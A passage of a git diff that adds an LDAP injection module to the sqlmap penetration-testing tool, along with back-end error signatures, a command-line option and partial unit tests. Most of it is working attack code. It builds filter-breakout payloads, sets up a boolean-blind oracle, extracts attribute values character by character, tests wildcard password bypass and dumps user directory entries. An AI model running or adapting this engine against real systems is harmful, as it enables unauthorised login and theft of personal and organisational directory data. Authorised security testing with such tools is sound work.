GRAPHQL_VALIDATION_ERRORS + GRAPHQL_APQ_ERRORS + GRAPHQL_RUNTIME_ERRORS) +# LDAP error signatures per back-end for error-based detection and fingerprinting (matched against +# HTTP response bodies). Each tuple is (backend_name, regex_fragment). +LDAP_ERROR_SIGNATURES = ( + ("Microsoft Active Directory", r"AcceptSecurityContext error, data [0-9a-fA-F]+"), + ("Microsoft Active Directory", r"LdapErr: DSID-[0-9a-fA-F]+"), + ("Microsoft Active Directory", r"80090308:\s*LdapErr"), + ("OpenLDAP", r"(?:Bad search filter|ldap_search_ext:\s*Bad search filter)(?:\s*\(-7\))?"), + ("OpenLDAP", r"Invalid DN syntax(?:\s*\(34\))?"), + ("ApacheDS", r"javax\.naming\.(?:directory\.)?(?:Naming|Authentication|InvalidName|InvalidSearchFilter|OperationNotSupported)Exception"), + ("ApacheDS", r"org\.apache\.directory\.api\.ldap\.model\.exception\.Ldap(?:InvalidSearchFilter|InvalidDn|SchemaViolation)?Exception"), + ("ApacheDS", r"LDAPException=\d+\s+msg=ERR_\d+"), + ("Oracle Directory Server", r"(?:attribute syntax error:|ACL parsing error:|Oracle (?:Unified )?Directory)"), + ("389 Directory Server", r"(?:Filter Syntax Verification|389[- ]Directory(?:[ /]Server)?)"), + ("Java JNDI", r"javax\.naming\.(?:InvalidNameException|InvalidSearchFilterException)"), + ("python-ldap", r"ldap\.(?:INVALID_DN_SYNTAX|FILTER_ERROR|NO_SUCH_OBJECT)"), +) + +# Combined LDAP error regex used for heuristic detection (checks.py) and for recognising +# that an error response originates from an LDAP back-end rather than a generic HTTP 500 +LDAP_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in LDAP_ERROR_SIGNATURES) + +# Printable-ASCII codepoint bounds bisected during LDAP blind extraction via >= lexicographic comparison +LDAP_CHAR_MIN = 0x20 +LDAP_CHAR_MAX = 0x7e + +# Upper bound for the value-length search during LDAP blind extraction +LDAP_MAX_LENGTH = 256 + +# Attributes that definitively identify the backend vendor when probed on the RootDSE or +# a well-known directory entry. Each tuple is (attribute, expected_value_substring, backend). +LDAP_FINGERPRINT_ATTRIBUTES = ( + ("objectGUID", None, "Microsoft Active Directory"), + ("vendorName", "OpenLDAP", "OpenLDAP"), + ("vendorName", "Apache Software Foundation", "ApacheDS"), + ("vendorName", "Oracle Corporation", "Oracle Directory Server"), + ("vendorName", "Red Hat", "389 Directory Server"), +) + # Length of prefix and suffix used in non-SQLI heuristic checks NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6 diff --git a/lib/core/testing.py b/lib/core/testing.py index d30c63edbee..0362cc6004d 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -90,6 +90,7 @@ def vulnTest(): ("-u \"&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)), ("-u \"nosql?name=luther&password=x\" -p password --nosql --flush-session", ("is vulnerable to NoSQL injection", "back-end: 'MongoDB'", "NoSQL: GET parameter 'password'", "s3cr3t")), # NoSQL (MongoDB) operator-injection detection + blind regexp extraction ("-u \"graphql\" --graphql --flush-session --disable-hashing", ("found GraphQL endpoint", "introspection returned", "skipping 2 mutation slot", "GraphQL boolean-based blind", "in-band data exposure", "back-end DBMS: 'SQLite'", "banner: '3.", "GraphQL database tables", "fetched 30 entries from table 'creds'", "db3a16990a0008a3b04707fdef6584a0", "GraphQL scan complete")), # GraphQL: endpoint detection + introspection + mutation-skip + boolean-blind/in-band + back-end fingerprint + batched blind dump of an injection-only table (SQLite-backed) + ("-u \"ldap/search?q=x\" --ldap --flush-session --disable-hashing", ("is vulnerable to LDAP injection", "Title: LDAP boolean-based blind", "LDAP: GET parameter 'q' directory entries", "dumped", "LDAP scan complete")), # LDAP: error-based detection (unbalanced paren) + boolean oracle + directory attribute extraction via blind substring probing ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), ("-d \"\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")), ("-d \"\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)), diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 42f67f7bc66..ea79f31158f 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -421,6 +421,9 @@ def cmdLineParser(argv=None): techniques.add_argument("--graphql", dest="graphql", action="store_true", help="Test for GraphQL injection (introspection, field/argument fuzzing, SQL/NoSQL payload families)") + techniques.add_argument("--ldap", dest="ldap", action="store_true", + help="Test for LDAP injection (filter breakout, boolean blind, auth bypass)") + techniques.add_argument("--time-sec", dest="timeSec", type=int, help="Seconds to delay the DBMS response (default %d)" % defaults.timeSec) diff --git a/lib/techniques/ldap/__init__.py b/lib/techniques/ldap/__init__.py new file mode 100644 index 00000000000..bcac841631b --- /dev/null +++ b/lib/techniques/ldap/__init__.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +pass diff --git a/lib/techniques/ldap/inject.py b/lib/techniques/ldap/inject.py new file mode 100644 index 00000000000..ef373d9193f --- /dev/null +++ b/lib/techniques/ldap/inject.py @@ -0,0 +1,750 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import difflib +import re + +from collections import namedtuple + +from lib.core.common import randomStr +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import logger +from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import PLACE +from lib.core.settings import LDAP_CHAR_MAX +from lib.core.settings import LDAP_CHAR_MIN +from lib.core.settings import LDAP_ERROR_REGEX +from lib.core.settings import LDAP_ERROR_SIGNATURES +from lib.core.settings import LDAP_FINGERPRINT_ATTRIBUTES +from lib.core.settings import LDAP_MAX_LENGTH +from lib.core.settings import UPPER_RATIO_BOUND +from lib.request.connect import Connect as Request +from lib.utils.xrange import xrange + +try: + from lib.core.settings import LDAP_MAX_RECORDS +except ImportError: + LDAP_MAX_RECORDS = 20 + + +SENTINEL = randomStr(length=10, lowercase=True) + +# _send() below currently knows how to rebuild GET and POST-style parameter +# strings. Cookie and URI delivery require separate per-place logic and should not +# be advertised until implemented. +LDAP_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST) + +# Breakouts are tried against the original application filter template. The +# generated assertion fragments intentionally stay open-ended: the vulnerable +# application usually appends the closing ')' or trailing substring '*') itself. +LDAP_BREAKOUT_PREFIXES = ( + "*)", # substring + one assertion: (attr=**) + ")", # exact-match one assertion: (attr=) + "|", # injection at filter-list head + "*))(", # substring + two assertions deep + "*)))", # substring + three assertions deep + ")))", # exact-match three assertions deep +) + +LDAP_TAUTOLOGY_ATTRIBUTES = ( + "objectClass", + "uid", + "cn", +) + +ENTRY_KEY_ATTRIBUTES = ( + "uid", + "sAMAccountName", + "userPrincipalName", + "mail", + "cn", +) + +DUMP_ATTRIBUTES = ( + "uid", + "cn", + "sn", + "givenName", + "displayName", + "mail", + "sAMAccountName", + "userPrincipalName", + "title", + "department", + "company", + "o", + "ou", + "telephoneNumber", + "mobile", + "manager", + "description", + "l", + "st", + "street", + "postalCode", + "c", + "co", + "employeeID", + "employeeNumber", + "employeeType", + "objectClass", + "objectCategory", +) + +MULTI_VALUE_ATTRIBUTES = ( + "member", + "memberOf", + "uniqueMember", +) + +Slot = namedtuple("Slot", ("place", "parameter", "backend", "oracle", "template", "payload", "breakout", "bypass")) +Slot.__new__.__defaults__ = (None, None, None, None, None, None, None, None) + + +def _ratio(first, second): + return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio() + + +def _delim(place): + return (conf.cookieDel or ';') if place == PLACE.COOKIE else '&' + + +def _confParameters(place): + try: + return conf.parameters.get(place, "") + except AttributeError: + return conf.parameters[place] if place in conf.parameters else "" + + +def _originalValue(place, parameter): + for segment in _confParameters(place).split(_delim(place)): + name, _, value = segment.partition('=') + if name.strip() == parameter: + return value + return conf.paramDict.get(place, {}).get(parameter) or "" + + +def _replaceSegment(place, parameter, value): + delimiter = _delim(place) + raw = _confParameters(place) + retVal, replaced = [], False + + for part in raw.split(delimiter): + name, _, _ = part.partition('=') + if not replaced and name.strip() == parameter: + retVal.append("%s=%s" % (name, value)) + replaced = True + else: + retVal.append(part) + + if not replaced: + retVal = [] + for name, oldValue in conf.paramDict.get(place, {}).items(): + retVal.append("%s=%s" % (name, value if name == parameter else oldValue)) + + return delimiter.join(retVal) + + +def _send(place, parameter, value): + skipUrlEncode = conf.skipUrlEncode + conf.skipUrlEncode = True + + try: + kwargs = {"raise404": False, "silent": True} + payload = _replaceSegment(place, parameter, value) + kwargs["post" if place in (PLACE.POST, PLACE.CUSTOM_POST) else "get"] = payload + + logger.log(CUSTOM_LOGGING.PAYLOAD, payload) + page, _, _ = Request.getPage(**kwargs) + return page or "" + except Exception as ex: + logger.debug("LDAP probe request failed: %s" % getUnicode(ex)) + return "" + finally: + conf.skipUrlEncode = skipUrlEncode + + +def _isError(page): + return bool(re.search(LDAP_ERROR_REGEX, getUnicode(page or ""))) + + +def _backendFromError(page): + page = getUnicode(page or "") + for backend, regex in LDAP_ERROR_SIGNATURES: + if re.search(regex, page): + return backend + return "Generic LDAP" if _isError(page) else None + + +def _probeBackendByParserError(place, parameter): + """Probe for LDAP filter parser errors to obtain a backend hint. + This is NOT authoritative vulnerability detection -- only a boolean + oracle (from _detectBoolean) confirms exploitable injection.""" + + original = _originalValue(place, parameter) or "x" + normal = _send(place, parameter, original) + + # Use LDAP filter syntax breakers, not apostrophes. Apostrophes are not LDAP + # filter metacharacters and only detect broken LDAP emulators backed by SQL. + for suffix in (")", "*)"): + payload = original + suffix + broken = _send(place, parameter, payload) + + if not normal or _ratio(normal, broken) >= UPPER_RATIO_BOUND: + continue + + backend = _backendFromError(broken) + if backend and not _isError(normal): + return backend, payload + + return None, None + + +def _boolean(truthy, falsy): + """Return the reproducible true page when true/false probes diverge.""" + + truePage = truthy() + if not truePage or _isError(truePage): + return None + + falsePage = falsy() + if not falsePage or _isError(falsePage): + return None + + truePage2 = truthy() + if _ratio(truePage, truePage2) >= UPPER_RATIO_BOUND and _ratio(truePage, falsePage) < UPPER_RATIO_BOUND: + return truePage + + return None + + +def _detectBoolean(place, parameter): + """Return (template, payload, breakout) for boolean-blind LDAPi.""" + + original = _originalValue(place, parameter) or "" + falsePayload = original + SENTINEL + + for breakout in LDAP_BREAKOUT_PREFIXES: + for attr in LDAP_TAUTOLOGY_ATTRIBUTES: + # Open fragment by design. The application template supplies the tail. + truePayload = "%s%s(%s=*" % (original, breakout, attr) + template = _boolean(lambda p=truePayload: _send(place, parameter, p), + lambda p=falsePayload: _send(place, parameter, p)) + if template: + return template, truePayload, breakout + + # Useful for auth/search bypass reporting, but not enough to synthesize + # arbitrary LDAP filters for enumeration. + if original: + template = _boolean(lambda: _send(place, parameter, "*"), + lambda: _send(place, parameter, SENTINEL)) + if template: + return template, "*", None + + return None, None, None + + +def _isPasswordParam(parameter): + parameter = getUnicode(parameter or "").lower() + return any(_ in parameter for _ in ("pass", "pwd", "secret", "pin", "cred", "key", "token", "auth")) + + +def _detectAuthBypass(place, parameter): + if not _isPasswordParam(parameter): + return None + + starPage = _send(place, parameter, "*") + sentinelPage = _send(place, parameter, SENTINEL) + + if starPage and sentinelPage and _ratio(starPage, sentinelPage) < UPPER_RATIO_BOUND: + return "*" + + return None + + +def _fingerprintByError(backend): + if not backend: + return None + if "Active Directory" in backend: + return "Microsoft Active Directory" + if "OpenLDAP" in backend: + return "OpenLDAP" + if "ApacheDS" in backend: + return "ApacheDS" + if "Oracle" in backend: + return "Oracle Directory Server" + if "389" in backend: + return "389 Directory Server" + if "python-ldap" in backend or "Java JNDI" in backend: + return backend + return backend + + +def _transportEncode(value): + """ + Encode only transport-sensitive characters because _send() disables sqlmap's + regular URL encoding. LDAP filter syntax should remain raw; assertion values + should be passed through _ldapLiteral() first. + """ + + value = getUnicode(value) + value = value.replace("%", "%25") + value = value.replace("#", "%23") + value = value.replace("&", "%26") + value = value.replace("+", "%2B") + value = value.replace("=", "%3D") + value = value.replace(" ", "%20") + return value + + +def _ldapLiteral(value): + """Escape an LDAP assertion value, then protect URL transport bytes.""" + + value = getUnicode(value) + value = value.replace("\\", "\\5c") + value = value.replace("*", "\\2a") + value = value.replace("(", "\\28") + value = value.replace(")", "\\29") + value = value.replace("\x00", "\\00") + return _transportEncode(value) + + +class _ProbeBuilder(object): + """ + Build payloads that preserve the winning breakout shape. + + Simple probes are open fragments, e.g. SENTINEL*)(uid=adm* + The target application's original filter template supplies the closing suffix. + Compound probes close their own (&...) filter, then open a dummy assertion to + consume that same application suffix. + """ + + def __init__(self, breakout): + self.breakout = breakout or ")" + + def raw(self, fragment, lead=None): + return "%s%s%s" % (lead if lead is not None else SENTINEL, self.breakout, fragment) + + def presence(self, attr, constraint=None, exclusions=None): + assertion = "(%s=*)" % attr + if constraint or exclusions: + return self._compound(assertion, constraint=constraint, exclusions=exclusions) + return self.raw("(%s=*" % attr) + + def prefix(self, attr, value, constraint=None, exclusions=None): + assertion = "(%s=%s*)" % (attr, _ldapLiteral(value)) + if constraint or exclusions: + return self._compound(assertion, constraint=constraint, exclusions=exclusions) + return self.raw("(%s=%s*" % (attr, _ldapLiteral(value))) + + def contains(self, attr, value, constraint=None, exclusions=None): + assertion = "(%s=*%s*)" % (attr, _ldapLiteral(value)) + if constraint or exclusions: + return self._compound(assertion, constraint=constraint, exclusions=exclusions) + return self.raw("(%s=*%s*" % (attr, _ldapLiteral(value))) + + def equals(self, attr, value, constraint=None, exclusions=None): + assertion = "(%s=%s)" % (attr, _ldapLiteral(value)) + if constraint or exclusions: + return self._compound(assertion, constraint=constraint, exclusions=exclusions) + + # Exact equality cannot be made reliable in an unknown trailing template, + # so simple contexts fall back to prefix semantics. + return self.prefix(attr, value) + + def _compound(self, assertion, constraint=None, exclusions=None): + clauses = [] + + if constraint: + cAttr, cValue = constraint + clauses.append("(%s=%s)" % (cAttr, _ldapLiteral(cValue))) + + for eAttr, eValue in exclusions or (): + clauses.append("(!(%s=%s))" % (eAttr, _ldapLiteral(eValue))) + + # Raw '&' would split GET parameters because skipUrlEncode=True. Use %26 + # so the HTTP layer decodes it into LDAP '&' inside the parameter value. + compound = "(%%26%s%s)" % ("".join(clauses), assertion) + + # Dummy suffix eater: the original app template can safely append its tail. + return self.raw("%s(objectClass=%s*" % (compound, SENTINEL)) + + +def _makeOracle(place, parameter, template): + cache = {} + + def request(payload): + if payload not in cache: + cache[payload] = _send(place, parameter, payload) + return cache[payload] + + falsePage = request(SENTINEL) + + def oracle(payload): + page = request(payload) + if not page or _isError(page): + return False + return _ratio(template, page) >= UPPER_RATIO_BOUND + + def extract(payload): + page = request(payload) + if not page or _isError(page): + return False + return _ratio(falsePage, page) < UPPER_RATIO_BOUND + + oracle.extract = extract + oracle.template = template + oracle.falsePage = falsePage + oracle.cache = cache + return oracle + + +# Avoid LDAP metacharacters in blind character extraction. In real LDAP they can +# be escaped, but many simple test harnesses decode them before wildcard handling, +# producing false positives. Transport-sensitive chars are allowed because +# _ldapLiteral() encodes them. +_META_ORDS = set(ord(_) for _ in ('*', '(', ')', '\\')) +_FREQ = (tuple(xrange(ord('a'), ord('z') + 1)) + + tuple(xrange(ord('A'), ord('Z') + 1)) + + tuple(xrange(ord('0'), ord('9') + 1)) + + tuple(ord(_) for _ in "@._-+ ")) +_CHARSET = [] +for _ in _FREQ: + if LDAP_CHAR_MIN <= _ <= LDAP_CHAR_MAX and _ not in _META_ORDS and _ not in _CHARSET: + _CHARSET.append(_) +for _ in xrange(LDAP_CHAR_MIN, LDAP_CHAR_MAX + 1): + if _ not in _META_ORDS and _ not in _CHARSET: + _CHARSET.append(_) + + +def _exists(oracle, builder, attr, constraint=None, exclusions=None): + return oracle.extract(builder.presence(attr, constraint=constraint, exclusions=exclusions)) + + +def _inferAttribute(oracle, builder, attr, constraint=None, exclusions=None, maxLen=LDAP_MAX_LENGTH): + value = "" + probes = 0 + + for _ in xrange(maxLen): + found = False + + for cp in _CHARSET: + candidate = value + chr(cp) + probes += 1 + + if oracle.extract(builder.prefix(attr, candidate, constraint=constraint, exclusions=exclusions)): + value = candidate + found = True + break + + if not found: + break + + # Three or more consecutive trailing spaces never occur in real + # directory data. When the server-side LDAP-to-SQL translation + # (or equivalent) spuriously matches a trailing-space probe (e.g. + # mail=user@dom * matching user@dom), the extraction would + # otherwise chase an endless phantom suffix. Terminate and strip. + if value.endswith(" "): + value = value.rstrip() + break + + logger.debug("LDAP blind inference: %d probes for attribute '%s' (length=%d)" % (probes, attr, len(value))) + return value if value else None + + +def _fingerprintByAttribute(oracle, builder): + for attr, expected, backend in LDAP_FINGERPRINT_ATTRIBUTES: + if not _exists(oracle, builder, attr): + continue + + if expected: + if oracle.extract(builder.contains(attr, expected)): + return backend + else: + return backend + + return None + + +def _dumpInband(oracle, slot): + """If the always-true template page exposes directory entries directly + (e.g. as JSON), extract them in one shot instead of blind brute-force.""" + import json + + page = oracle.template + if not page or not page.strip().startswith('{'): + return False + + try: + data = json.loads(page) + entries = data.get("entries") or data.get("results") or () + except (ValueError, TypeError): + return False + + if not entries or not isinstance(entries, (list, tuple)): + return False + + columns = [] + seen = set() + for entry in entries: + if not isinstance(entry, dict): + continue + for key in entry: + if key not in seen: + columns.append(getUnicode(key)) + seen.add(key) + + if not columns: + return False + + rows = [] + for entry in entries: + if not isinstance(entry, dict): + continue + rows.append(tuple(getUnicode(entry.get(c, "")) for c in columns)) + + # Drop columns where every row is empty (common with wide schemas). + populated = [] + for ci, col in enumerate(columns): + if any(r[ci] for r in rows): + populated.append(ci) + if populated and len(populated) < len(columns): + columns = [columns[i] for i in populated] + rows = [tuple(r[i] for i in populated) for r in rows] + + logger.info("in-band data exposure: %d record(s)" % len(rows)) + _dumpTable("LDAP: %s parameter '%s' in-band entries" % (slot.place, slot.parameter), + columns, rows) + return True + + +def _probeRootDSE(oracle, builder): + for attr in ("namingContexts", "subschemaSubentry", "vendorName", "vendorVersion"): + if not _exists(oracle, builder, attr): + continue + + value = _inferAttribute(oracle, builder, attr) + if value: + logger.info("directory %s: '%s'" % (attr, value)) + + +def _enumerateEntryKeys(oracle, builder): + for keyAttr in ENTRY_KEY_ATTRIBUTES: + if not _exists(oracle, builder, keyAttr): + continue + + values = [] + while len(values) < LDAP_MAX_RECORDS: + exclusions = [(keyAttr, _) for _ in values] + value = _inferAttribute(oracle, builder, keyAttr, exclusions=exclusions) + + if not value or value in values: + break + + values.append(value) + logger.info("identified directory entry: %s='%s'" % (keyAttr, value)) + + if values: + return keyAttr, values + + return None, [] + + +def _dumpEntries(oracle, builder, place, parameter): + keyAttr, keys = _enumerateEntryKeys(oracle, builder) + if not keys: + logger.warning("could not identify a stable directory entry key") + return False + + rows = [] + discovered = set() + + for key in keys: + constraint = (keyAttr, key) + row = {keyAttr: key} + logger.info("extracting attributes for entry %s='%s'" % (keyAttr, key)) + + for attr in DUMP_ATTRIBUTES: + if attr == keyAttr: + continue + + logger.info("probing attribute '%s'" % attr) + if not _exists(oracle, builder, attr, constraint=constraint): + continue + + value = _inferAttribute(oracle, builder, attr, constraint=constraint) + if value: + row[attr] = value + discovered.add(attr) + + rows.append(row) + + columns = [keyAttr] + [_ for _ in DUMP_ATTRIBUTES if _ != keyAttr and _ in discovered] + tableRows = [tuple(row.get(column, "") for column in columns) for row in rows] + + logger.info("dumped %d entr%s" % (len(rows), "y" if len(rows) == 1 else "ies")) + _dumpTable("LDAP: %s parameter '%s' directory entries" % (place, parameter), columns, tableRows) + return True + + +def _dumpMultiValues(oracle, builder, place, parameter): + dumped = False + + for attr in MULTI_VALUE_ATTRIBUTES: + if not _exists(oracle, builder, attr): + continue + + value = _inferAttribute(oracle, builder, attr) + if value: + logger.info("fetched 1 value from attribute '%s'" % attr) + _dumpTable("LDAP: %s parameter '%s' '%s' values" % (place, parameter, attr), [attr], [(value,)]) + dumped = True + + return dumped + + +def _grid(columns, rows): + columns = [getUnicode(_) for _ in columns] + rows = [[getUnicode(_) for _ in row] for row in rows] + + widths = [] + for index, column in enumerate(columns): + width = len(column) + for row in rows: + if index < len(row): + width = max(width, len(row[index])) + widths.append(width) + + separator = "+-" + "-+-".join("-" * _ for _ in widths) + "-+" + + def line(cells): + return "| " + " | ".join((cells[index] if index < len(cells) else "").ljust(widths[index]) for index in xrange(len(columns))) + " |" + + return "\n".join([separator, line(columns), separator] + [line(row) for row in rows] + [separator]) + + +def _dumpTable(title, columns, rows): + if rows: + conf.dumper.singleString("%s:\n%s" % (title, _grid(columns, rows))) + + +def ldapScan(): + global SENTINEL + SENTINEL = randomStr(length=10, lowercase=True) + + infoMsg = "'--ldap' is self-contained: it detects LDAP injection in HTTP " + infoMsg += "parameters and dumps reachable directory entries. SQL enumeration " + infoMsg += "switches (--banner, --dbs, --tables, --users, --sql-query) are ignored" + logger.info(infoMsg) + + if not conf.paramDict: + logger.error("no request parameters to test (use --data, GET params, or similar)") + return + + tested = found = 0 + slots = [] + + for place in (_ for _ in LDAP_PLACES if _ in conf.paramDict): + for parameter in list(conf.paramDict[place].keys()): + if conf.testParameter and parameter not in conf.testParameter: + continue + + tested += 1 + logger.info("testing LDAP injection on %s parameter '%s'" % (place, parameter)) + + # Phase 1: probe the LDAP filter parser for a backend hint. + # This is NOT authoritative -- only a boolean oracle confirms + # exploitable injection. + backendHint, _errorPayload = _probeBackendByParserError(place, parameter) + if backendHint: + backendHint = _fingerprintByError(backendHint) + + # Phase 2: establish a boolean oracle (authoritative). + template, payload, breakout = _detectBoolean(place, parameter) + if template and breakout: + found += 1 + backend = backendHint or None + logger.info("%s parameter '%s' is vulnerable to LDAP injection (back-end: '%s')" % (place, parameter, backend or "Generic")) + + oracle = _makeOracle(place, parameter, template) + slots.append(Slot(place=place, parameter=parameter, backend=backend, oracle=oracle, template=template, payload=payload, breakout=breakout)) + continue + + # Phase 3: wildcard auth bypass (credential fields only). + bypass = _detectAuthBypass(place, parameter) + if bypass: + found += 1 + logger.info("%s parameter '%s' allows LDAP wildcard auth bypass (password=*)" % (place, parameter)) + slots.append(Slot(place=place, parameter=parameter, bypass=bypass)) + continue + + # Parser-error alone is not exploitable -- log it but do not + # create a vulnerability report. + if backendHint: + logger.info("%s parameter '%s' reaches an LDAP filter parser (back-end: '%s'), but no exploitable boolean oracle was established" % (place, parameter, backendHint)) + + if not slots: + if tested: + warnMsg = "no parameter appears to be injectable via LDAP injection (%d tested)" % tested + else: + warnMsg = "no parameters found to test for LDAP injection" + logger.warning(warnMsg) + return + + # Print auth-bypass reports. + for slot in slots: + if slot.bypass: + conf.dumper.singleString("---\nParameter: %s (%s)\n Type: LDAP injection\n Title: LDAP auth bypass (wildcard)\n Payload: %s=%s\n---" % (slot.parameter, slot.place, slot.parameter, slot.bypass)) + + # Select the first oracle-bearing slot for fingerprint + enumeration. + slot = next((_ for _ in slots if _.oracle and _.breakout), None) + if not slot: + logger.info("LDAP scan complete") + return + + # Refine backend fingerprint if we only have a generic hint. + builder = _ProbeBuilder(slot.breakout) + oracle = slot.oracle + if not slot.backend or slot.backend == "Generic LDAP": + backend = _fingerprintByAttribute(oracle, builder) + if backend: + logger.info("identified back-end DBMS: '%s'" % backend) + slot = slot._replace(backend=backend) + + # Determine extraction method: in-band if the template page already + # contains parseable JSON entries, otherwise blind. + import json + page = oracle.template + inband = False + if page and page.strip().startswith('{'): + try: + data = json.loads(page) + entries = data.get("entries") or data.get("results") or () + inband = bool(entries and isinstance(entries, (list, tuple))) + except (ValueError, TypeError): + pass + + title = "LDAP in-band data exposure" if inband else "LDAP boolean-based blind" + conf.dumper.singleString("---\nParameter: %s (%s)\n Type: LDAP injection\n Title: %s\n Payload: %s=%s\n---" % (slot.parameter, slot.place, title, slot.parameter, slot.payload)) + + logger.info("probing RootDSE-style directory metadata") + _probeRootDSE(oracle, builder) + + if inband: + dumped = _dumpInband(oracle, slot) + else: + dumped = _dumpEntries(oracle, builder, slot.place, slot.parameter) + dumped = _dumpMultiValues(oracle, builder, slot.place, slot.parameter) or dumped + + if not dumped: + warnMsg = "LDAP injection is confirmed but no directory data could be extracted. " + warnMsg += "The injection point may expose only a limited boolean oracle or ACLs restrict reads" + logger.warning(warnMsg) + + logger.info("LDAP scan complete") diff --git a/tests/test_ldap.py b/tests/test_ldap.py new file mode 100644 index 00000000000..b4bc2408675 --- /dev/null +++ b/tests/test_ldap.py @@ -0,0 +1,420 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline, deterministic tests for the LDAP injection engine. Mock oracles stand in for the +HTTP/LDAP layer so detection, fingerprinting, blind inference, and output formatting can +be exercised without a live target. +""" + +import unittest + +from _testutils import bootstrap +bootstrap() + +import lib.techniques.ldap.inject as ldap + +# --- Helpers ---------------------------------------------------------------- + +SENTINEL = ldap.SENTINEL + + +def _mockOracle(value): + """Build a mock extract oracle that knows the full target value. Probes + use _ProbeBuilder.prefix() which encodes via _ldapLiteral and + _transportEncode; reverse both so the plain prefix can be compared.""" + class Oracle(object): + def extract(self, probe): + # Decode %xx transport escapes (done by _transportEncode). + # Order matters: %25 (literal '%') must be decoded before other + # %xx sequences whose '%' came from the *encoding* pass. + def _transportDecode(s): + s = s.replace("%25", "\x00") # placeholder for literal % + s = s.replace("%23", "#") + s = s.replace("%26", "&") + s = s.replace("%2B", "+") + s = s.replace("%3D", "=") + s = s.replace("%20", " ") + s = s.replace("\x00", "%") # restore literal % + return s + + # Decode LDAP \xx hex escapes (done by _ldapLiteral). + def _ldapDecode(s): + return re.sub(r"\\([0-9a-fA-F]{2})", + lambda m: chr(int(m.group(1), 16)), s) + + # Probe format: SENTINEL)(attr=_ldapLiteral(prefix_char)* + idx = probe.rfind(")(") + if idx < 0: + return False + rest = probe[idx + 2:] # after )( + if "=" not in rest or not rest.endswith("*"): + return False + inner = rest[:-1] # strip trailing * + attr, val = inner.split("=", 1) + prefix = _transportDecode(_ldapDecode(val)) + return value.startswith(prefix) + return Oracle() + + +import re + + +# --- Tests ------------------------------------------------------------------ + +class TestHelpers(unittest.TestCase): + def test_ratio_identical(self): + self.assertGreater(ldap._ratio("abc", "abc"), 0.9) + + def test_ratio_different(self): + self.assertLess(ldap._ratio("abc", "xyz"), 0.5) + + def test_ratio_none(self): + self.assertEqual(ldap._ratio(None, "abc"), 0.0) + self.assertEqual(ldap._ratio("abc", None), 0.0) + + def test_delim_get(self): + from lib.core.enums import PLACE + self.assertEqual(ldap._delim(PLACE.GET), '&') + + def test_delim_cookie_default(self): + from lib.core.enums import PLACE + self.assertEqual(ldap._delim(PLACE.COOKIE), ';') + + def test_originalValue(self): + from lib.core.enums import PLACE + from lib.core.data import conf + conf.parameters = {PLACE.GET: 'q=test&x=123'} + conf.paramDict = {PLACE.GET: {'q': 'test', 'x': '123'}} + self.assertEqual(ldap._originalValue(PLACE.GET, 'q'), 'test') + self.assertEqual(ldap._originalValue(PLACE.GET, 'x'), '123') + + def test_replaceSegment(self): + from lib.core.enums import PLACE + from lib.core.data import conf + conf.parameters = {PLACE.GET: 'q=old&x=123'} + conf.paramDict = {PLACE.GET: {'q': 'old', 'x': '123'}} + result = ldap._replaceSegment(PLACE.GET, 'q', 'new') + self.assertIn('q=new', result) + self.assertIn('x=123', result) + + +class TestFingerprinting(unittest.TestCase): + def test_fingerprintByError_ad(self): + self.assertEqual(ldap._fingerprintByError("Microsoft Active Directory"), + "Microsoft Active Directory") + + def test_fingerprintByError_openldap(self): + self.assertEqual(ldap._fingerprintByError("OpenLDAP"), "OpenLDAP") + + def test_fingerprintByError_apacheds(self): + self.assertEqual(ldap._fingerprintByError("ApacheDS"), "ApacheDS") + + def test_fingerprintByError_oracle(self): + self.assertEqual(ldap._fingerprintByError("Oracle Directory Server"), + "Oracle Directory Server") + + def test_fingerprintByError_389(self): + self.assertEqual(ldap._fingerprintByError("389 Directory Server"), + "389 Directory Server") + + def test_fingerprintByError_generic(self): + self.assertEqual(ldap._fingerprintByError("Generic LDAP"), "Generic LDAP") + + def test_fingerprintByError_jndi(self): + self.assertEqual(ldap._fingerprintByError("Java JNDI"), "Java JNDI") + + def test_fingerprintByError_pythonldap(self): + self.assertEqual(ldap._fingerprintByError("python-ldap"), "python-ldap") + + +class TestGrid(unittest.TestCase): + def test_grid_simple(self): + cols = ["attr", "value"] + rows = [("uid", "admin"), ("cn", "Admin User")] + output = ldap._grid(cols, rows) + self.assertIn("attr", output) + self.assertIn("uid", output) + self.assertIn("admin", output) + self.assertIn("cn", output) + self.assertIn("Admin User", output) + + def test_grid_empty(self): + output = ldap._grid(["a"], []) + self.assertIn("a", output) + + def test_grid_single_row(self): + cols = ["col"] + rows = [("val",)] + output = ldap._grid(cols, rows) + self.assertIn("col", output) + self.assertIn("val", output) + + +class TestErrorDetection(unittest.TestCase): + def setUp(self): + from lib.core.enums import PLACE + from lib.core.data import conf + conf.parameters = {PLACE.GET: 'q=x'} + conf.paramDict = {PLACE.GET: {'q': 'x'}} + conf.skipUrlEncode = False + conf.cookieDel = ';' + + self._originalSend = ldap._send + + def tearDown(self): + ldap._send = self._originalSend + + def test_detectError_openldap(self): + ldap._send = lambda p, pm, v: ( + "Bad search filter (-7)" if ")" in (v or "") else "OK" + ) + from lib.core.enums import PLACE + 